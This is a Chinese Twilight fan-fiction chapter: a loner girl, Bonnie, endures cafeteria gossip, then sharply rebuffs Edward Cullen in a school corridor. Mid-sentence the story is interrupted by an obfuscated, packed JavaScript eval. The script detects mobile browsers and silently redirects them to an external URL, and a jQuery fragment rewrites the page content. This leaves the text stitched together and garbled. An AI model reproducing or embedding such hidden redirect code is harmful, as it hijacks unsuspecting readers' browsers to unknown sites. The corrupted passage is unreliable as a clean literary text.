福克斯高中的食堂坐落在教学楼东侧一栋带天窗的老建筑里，屋顶永远漏风，通风口像是在反复放一首破旧的低频鼓点。长桌排列整齐，却没有一个学生能吃得太文雅。
这里没有那种名校午餐厅的玻璃吊灯和银色托盘，只有塑料盘、硬叉子和永远多煮一分钟的意大利面。
邦妮端着餐盘坐在食堂最后一排靠近饮料机的那张桌子上，单人独桌，像一道标准配方里的必填空白。
她的午餐是一个被压扁的三明治和一个塞了不知多少天的苹果，被她一口一口吃得慢而麻木，仿佛每一咀嚼都在默念“活着”。
她今天依旧没人陪，也没人试图靠近。倒不是因为她难接近，只是她身上有种“不要试图跟我说话”的气息，像雾，像冰，像在她周围缓慢扩散的某种不语的低压天气。
但她听得见。
周围人的八卦，像蒸汽一样从饭菜里冒出来，聚在她身边弥散。
“……你看到没，第一节化学课，卡伦家的帅哥就坐她旁边。就是她！贝尔，那个怪胎女孩……”
“我才不信爱德华会对她有意思，她又不化妆，像个连面霜都舍不得用的穷鬼……”
“说不定她给他下蛊了！你懂的，那种神秘气场，她平时连笑都不笑，我上次见她笑还是化学实验爆炸那天……”
“我听说她妈是医院的清洁工，那天见到了卡伦医生，还说什么‘他真是太完美了’，我都想笑死……”
邦妮咬下一口苹果，嘎吱一声。她没有转头，没有变脸，连节奏都不变，只是坐在那里，把流言当背景音，把羞辱当餐后甜点。
她已经习惯了。她不在乎。
但她的指尖却在慢慢地、有节奏地敲着桌面。不是烦躁，是冷静，就像在说：继续说，你们迟早会闭嘴。
然后食堂的门开了。
卡伦一家五人走进来。
瞬间，整间食堂像被扔进一颗闪光弹。
罗莎莉走在最前，金发微卷，皮肤在阳光透进天窗时白得耀眼。她的美是令人闭嘴的美，连正在说话的女生都哑了声，只能看着她走过。艾美特紧随其后，肌肉藏不住，像要把校服撑裂，笑容却像刚做完恶作剧的顽童。
爱丽丝轻盈地步入食堂，每一个步伐都像跳过音符的小节；贾斯帕站得比他们都直，脸上写着“别跟我说话”，但偏偏更吸引人想开口。
爱德华走在最后。
他没看任何人，但每个人都在看他。
他们拿了餐盘，动作一丝不苟，食物也选得极其有序，像是提前预演过的场景。他们取了几片生菜、一些水果、一小碗番茄汤——都是他们根本不会吃的东西。食物只是演出道具。
他们坐在靠窗的位置，五人排成一列，像是某种守夜的仪式。
话题立刻从“邦妮·贝尔是怪胎”切换到“卡伦家到底吃不吃人”。
“他们吃饭像演电视剧。”
“你不觉得他们都不说话吗？我看着都怕……”
“我听说他们住在森林边上，几乎不出门，家里窗子都是黑的。”
“你知道他们的收养关系吗？全都不是亲兄妹，但每一个看起来都能拍CK广告，太扯了！”
“我愿意当艾美特的狗。”
“你是想当罗莎莉的狗吧，她脸太杀了。”
邦妮啃完苹果，缓缓擦了擦嘴角，动作慢得像某种仪式。她的目光毫不避讳地投向食堂另一边的五人。
她看见了爱德华在偷偷看她。
她看见爱丽丝眉心蹙得死紧，像是喝了一口发酸的未来。
她看见贾斯帕的喉结动了一下，像是勉强把某种冲动咽了回去。
她对这一切，依旧一言不发。
这时，一名金发女生，名叫劳伦，是那种靠眼神杀人和八卦维生的典型，拿着餐盘主动走向卡伦家的桌子，脚步有些浮，笑容收得不自然。
“嘿……你们介意我坐这里吗？”她语调柔得过分，眼神在艾美特和爱德华之间来回跳动，嘴角是标准的高校“社交微笑”。
五人几乎没有对视。
然后，是罗斯莉出声，声音不高，却足以贯穿整间食堂的温度。
“是的。”
劳伦一愣。
爱丽丝轻轻一笑，不带善意。
艾美特耸肩，嘴里嚼着一片苹果，连句“对不起”都懒得给。
贾斯帕只是冷冷地看了她一眼，那眼神比拒绝还冷酷，像在看一块带细菌的肉。
爱德华没有说话。
他只是缓缓转过头，看向邦妮。
而邦妮正用叉子把餐盘里的一块生菜叶压扁，像在扁平化一只虫。
他们的目光对上。
空气静止了一秒。
然后她低头继续吃饭，像是什么都没发生过。
吃完后，她拿起纸巾擦了擦手，站起身，动作安静到仿佛和椅子缝隙无声地达成了某种契约，连椅子移动的摩擦声都几乎没有发出。她拎起书包，越过人群，走向出口，背影削瘦，没回头，也不等人。
但不出一秒，有人站起来了。
“去哪儿。”爱德华的声音像是对自己说的，脚下已经动了。他从卡伦家那张长桌边站起，动作快得像一道风，餐盘都还没动，他就已经在追她的轨迹。
“爱德华？”艾美特眨眼，一只手还搭在桌沿。
“别。”爱丽丝轻声说，眼睛却仍盯着邦妮离开的方向，眉头死锁，“他会去的。他必须去。”
“你看到了？”贾斯帕的嗓音低得像从喉骨里刮出来。
“我看不到。”爱丽丝说得轻飘飘，“所以他一定会去。”
食堂外是教学楼和后操场之间的狭窄走廊，铺着方格老地砖，两侧墙壁斑驳，有几处被学生用圆珠笔写了骂人的粗话和电话号码，没人管，没人清理。
邦妮走得不快。她能听到脚步声。
后面那双鞋的声音很轻，但她不是第一次察觉被人尾随。梦里那些走不掉的记忆和现实中她不近人情的直觉，让她对“注视”和“靠近”极其敏感。
她停住，没转身。
“你想干什么？”她问，语调仍然是那种淡到结冰的调子。
爱德华也停住了，离她约三步的位置。
“我只是……”他开口，声音略低，呼吸却有点急促，“……想知道你到底是什么。”
空气霎时间有点静得过头了。连远处走廊尽头的水管滴水声都显得格外突兀，啪嗒、啪嗒，像是这栋老学校用尽全身力气在努力插话。
邦妮站在走廊尽头半米远的地方，听见这句话之后，慢慢地转了身，头发随着动作轻轻晃了一下，搭在肩头。
她看着他，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405294|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼神里没有震惊，也没有反问，只有一种近乎讽刺的疲惫，就像她刚下班、正准备进电梯，却被一个穿着披风的人拦住并严肃地说他是从未来来的特工。
她沉默了三秒，那种令人窒息的冷场，再配上她那张天生就没有“讨好”二字的脸，简直像是把场面一刀斩成两段。
然后她说话了，语气干净利索，带着一股刻薄天赋下的精准：“你听起来像是个深夜综艺节目里会被挂掉电话的诈骗犯。”
爱德华一愣。
“‘你到底是什么’？”她抬手比划了个空引号，“接下来你是打算让我承认我是外星人，还是披着皮的人类学实验体？顺便再问我是不是喝牛奶过敏，但实际上靠吸小孩的灵魂活着？”
她说完，自己都没忍住轻哼了一声，声音小得像是在笑自己居然花时间回应。
“对不起。”她摊了摊手，“我不信命、不算塔罗、不信占星。别说‘超自然’，我连‘超预算’都接受不了。我唯一不敢怀疑的是公交车晚点和咖啡太苦，这世界已经够操蛋了，没必要再往上加料。”
爱德华没有接话，他的表情略显紧绷，不像被呛得哑口无言，倒更像是……在试图理解一种完全违背他认知系统的反应。
她看着他，眼睛有点发亮，但那不是迷人意义上的亮，而是一种“我现在开始认真了”的亮。
“你想知道我是什么？”她冷冷重复，“行，那你听好了，我是一个活在现实世界里的人，一个清醒的人，一个在梦里死了好几次、但白天还要记单词写作业的人。我是个知道你这种高冷完美类型通常都喜欢找心理医生倾诉的女生。我是你今天早上第一次遇到‘无法掌控对话节奏’的变量。”
她往前走了一步，眼神毫不避让地看着他，语气一如既往的精准刺人。
“你想控制对话、引导逻辑、读我内心、获取主动权。可惜，我大脑里现在唯一的念头是‘你今天洗头了吗’，抱歉，通灵软件读取不了这么微不足道的琐碎废话。”
爱德华盯着她，眼神在发光，也在发暗。他的喉结轻轻动了动，像是吞了一口不该吞下去的火。
“所以你完全不觉得奇怪？”他低声问，“如果我说我能读心。”
她立刻答：“我当然觉得你疯了。但我很有礼貌，我选择不报警。”
她顿了顿，抬手撩了下鬓角，语气忽然变得讽刺得更深一点点：“不过呢，你倒是挺幸运的。别的人要是用这种开场白，早就被我写进校报的‘值得注意的行为异常同学报告’栏目了。你呢？你有脸有钱有卡伦家的姓氏，最多算‘怪得有点高级’。”
“而且——”她偏了偏头，慢悠悠地吐出最后一句，“你这种人只要一皱眉，教务处就会来问我，是不是我在‘让新生感到不适’。”
沉默。
她原地站了两秒，然后点了下头，算是打完收工，转身离开，鞋底踩在地砖上发出清脆的咔哒咔哒声。
但走了两步，她忽然停住，又转头，不耐烦地看了他一眼，声音很低：
“还有，别跟踪别人。你下次如果再这样，我就真把你当变态处理了。”
她走了。
彻彻底底地走了。带着她那股拒绝所有玄学废话和嘲讽一切中二语录的气息，甩着头发，消失在走廊拐角。
爱德华站在原地，整整十秒没有动。